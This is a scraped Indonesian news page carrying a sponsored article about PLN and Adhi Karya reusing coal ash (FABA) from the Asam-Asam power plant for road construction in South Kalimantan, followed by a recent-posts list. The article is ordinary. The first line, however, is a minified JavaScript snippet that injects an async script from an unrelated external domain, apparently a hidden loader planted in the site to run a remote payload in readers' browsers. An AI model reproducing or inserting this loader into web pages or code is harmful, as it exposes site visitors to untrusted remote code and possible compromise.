(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

PLN Optimalkan Limbah Batu Bara Bangun Infrastruktur di Kalsel


KANALKALIMANTAN.COM – PT PLN (Persero) bersama PT Adhi Karya Tbk (Persero) memakai limbah sisa pembakaran batu bara atau Fly Ash dan Bottom Ash (FABA) dari PLTU Asam Asam untuk membangun jalan sepanjang 150 kilometer di Provinsi Kalimantan Selatan (Kalsel).

General Manager PLN Unit Induk Pembangkitan dan Penyaluran (UIKL) Kalimantan, Daniel Eliawardhana menjelaskan, dari kerjasama ini PLN mengirimkan 140 ton FABA ke Adhi Karya yang kemudian dimanfaatkan sebagai bahan tambah pengganti semen pada campuran beton dalam proyek infrastruktur tersebut.

“Optimalisasi pemanfaatan FABA khususnya yang dihasilkan PLTU milik PLN gencar dilakukan menyusul dikategorikannya FABA menjadi limbah Non Bahan Berbahaya dan Beracun (B3),” ujar Daniel.

Daniel merinci PLTU Asam-asam kapasitas 4×65 Mega Watt yang terletak di Kabupaten Tanah Laut, Provinsi Kalsel, menghasilkan 160 ton FABA per hari dalam proses produksinya.

 

 

Baca juga: Tes PCR Syarat Naik Transportasi Resmi Dihapus, Pengamat: Memang Kurang Efektif

“PLN menjalin kerja sama dengan berbagai pihak dalam pemanfaatan FABA hasil pembakaran batu bara untuk berbagai bahan baku keperluan sektor konstruksi dan infrastruktur di sekitar lokasi PLTU Asam-asam,” imbuh Daniel.

Daniel menambahkan, saat ini di lokasi PLTU Asam-asam terdapat lima ratus ribu ton stock FABA. Selain dimanfaatkan Adhi Karya, FABA ini juga dimanfaatkan oleh masyarakat sekitar dan UMKM setempat untuk diolah menjadi paving block dan batako.

“Kami secara proaktif mengajak pemerintah daerah, UMKM, Badan Usaha Milik Desa serta kelompok masyarakat untuk dapat memanfaatkan FABA menjadi produk ramah lingkungan dan memberikan multiplier effect dalam meningkatkan kontribusi terhadap sektor perekonomian,” kata Daniel.

FABA bisa dikategorikan sebagai produk samping yang dihasilkan dari proses pembakaran batu bara pada pembangkit listrik tenaga uap (PLTU). Sesuai dengan semangat pemanfaatan yang bersifat 4M (Mudah, Murah, Mutu dan Masif), PLN memastikan seluruh syarat dan persetujuan lingkungan telah dipenuhi sesuai standar dan ketentuan nasional yang mengacu pada standar prosedur internasional Best Available Techniques (BAT) dan Best Environmental Practices (BEP). (Kanalkalimantan.com/adv)

Reporter : adv
Editor : kk


Risa

Recent Posts

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

18 menit ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

3 jam ago

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

4 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

6 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

6 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

7 jam ago

This website uses cookies.